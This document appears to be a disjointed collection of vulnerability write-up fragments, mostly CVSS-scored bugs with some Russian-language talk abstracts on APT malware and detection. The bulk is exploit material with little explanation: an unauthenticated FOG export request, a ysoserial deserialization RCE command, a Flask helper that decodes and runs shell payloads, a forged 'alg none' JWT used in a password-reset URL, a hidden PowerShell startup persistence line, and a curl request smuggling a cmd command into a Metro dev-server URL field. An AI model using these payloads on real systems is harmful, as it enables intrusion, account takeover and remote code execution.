Base Core: 9.9
CWE: CWE-306 CWE-287

POST /fog/management/export.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fogguiuser=&fogguipass=&nojson=4&export=3

Если в записи MFT в $FN миллисекунды Creation, Modification и Access равны нулю, а миллескунды Entry не равны нулю, то вероятна подмена $FN меток.

/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>

java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0

<@urlencode> RCE </@urlencode>

echo -n "nslookup google.com" | gzip | base64 -w0

<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>

import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging

app = Flask(__name__)

# Set up logging
logging.basicConfig(
    filename='exploit.log',
    level=logging.INFO,
    format='[%(asctime)s] %(message)s',
)

@app.route('/rce')
def debug():
    payload = request.args.get('cmd')

    if payload:
        if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
            payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
        print(payload)
        decoded_url = urllib.parse.unquote_plus(payload)
        print(decoded_url)
        decoded_bytes = base64.b64decode(decoded_url)
        print(decoded_bytes)
        try:
            with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
                decompressed = f.read()
        except Exception:
            decompressed = decoded_bytes

        ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])

        try:
            cmd = ascii_text[:1000]
            output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
            return f"<pre>{output}</pre>"
        except subprocess.CalledProcessError as e:
            return f"<pre>Error:\n{e.output}</pre>"
    else:
        return "example /rce?cmd=&lt;@urlencode&gt;H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA&lt;/@urlencode&gt;", 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=4502, debug=True)

Base Score: 9,4 Critical
CWE: 345, 287, 347

xxxxx.yyyyy.zzzzz

export const verifyToken = async (token: string): Promise<JwtPayload> => {
  // First decode to get the ID
  const decoded = jwt.decode(token);
  const payload: JwtPayload = decoded as JwtPayload;

  if (!payload) {
    throw new Error("Token is invalid");
  } 

header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.

{
  "alg": "none",
  "typ": "JWT"
}
{
  "id": "cmg52lkge0000pd01oq32fjhe"
}

http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.

0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}

Base Score: 9.9 (Critical)
CWE: 416

package.loadlib, io.popen, os.execute

package.loadlib, io.popen, os.execute

Base Score: 10.0 CRITICAL
CWE: CWE-269

public void handleFilesUpload(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
    logger.info("In handleFilesUpload method");
    Object var3 = null;

    try {
        DiskFileItemFactory var4 = new DiskFileItemFactory();
        ServletFileUpload var5 = new ServletFileUpload(var4);
        String var6 = "/tmp";
        List var7 = var5.parseRequest(var1);
        Iterator var8 = var7.iterator();

        while(var8.hasNext()) {
            FileItem var9 = (FileItem)var8.next();
            if (!var9.isFormField()) {
                this.validateAndSaveFile(var9, var6);
            }
        }

        logger.info("copy done");
        UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm");
    } catch (Exception var10) {
        logger.info("Exception: ", var10);
    }
}

Base Score: 10.0 CRITICAL
CWE: CWE-550, CWE-209

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FILE.lnk

/c if exist " C:\Intel\FILE.ps1" (powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File " C:\Intel\FILE.ps1") else (exit 0)

Разберем ход расследования APT-кампании, в которой через уязвимость развернули неизвестный Rust-имплант с поддержкой множества сетевых режимов и сложной инфраструктурой C2. Поделимся выводами по реверсу Rust и детектированию угроз.

В одной из атак группировка Shedding Zmiy использовала вредоносные инструменты, написанные на Rust: Mycelium, Leech и Octopus. Эти утилиты — серьезная угроза для инфраструктуры жертвы. Расскажем об инструментах и методах, которые упростят технический анализ вредоносов на Rust.

Рассмотрим варианты получения телеметрии в ОС Windows на каждом из уровней (EventLog/Sysmon/ETW/WinAPI Callbacks), а также приведем методы обхода каждого из них. Еще покажем методы детектирования подобного рода техник.

Работа DFIR-инженера — это не только проверка стандартных способов закрепления в системе, но и её глубокий анализ. Мы отправимся в глухие джунгли программ и компонентов, где обитают хитрые и нестандартные способы закрепления. Наш доклад — это отчет об экспедиции на эту опасную территорию.

Base Score: 9,8 (CRITICAL)
CWE: CWE-78

async function openURLMiddleware(req: IncomingMessage, ...) {
   if (req.method === 'POST') {
…
     const {url} = req.body as {url: string};

     await open(url);
…
   }
   next();
 }
 export default connect().use(json()).use(openURLMiddleware);

    try {
      const parsedUrl = new URL(url);
      if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
        res.writeHead(400);
        res.end('Invalid URL protocol');
        return;
      }
    } catch (error) {
      res.writeHead(400);
      res.end('Invalid URL format');
      return;
    }

    await open(url);

curl -X POST http://metro-server-host:8081/open-url -H "Content-Type: application/json" -d "{\"url\":\"cmd /c echo abc ^> c:\\temp\\poc.txt\"}"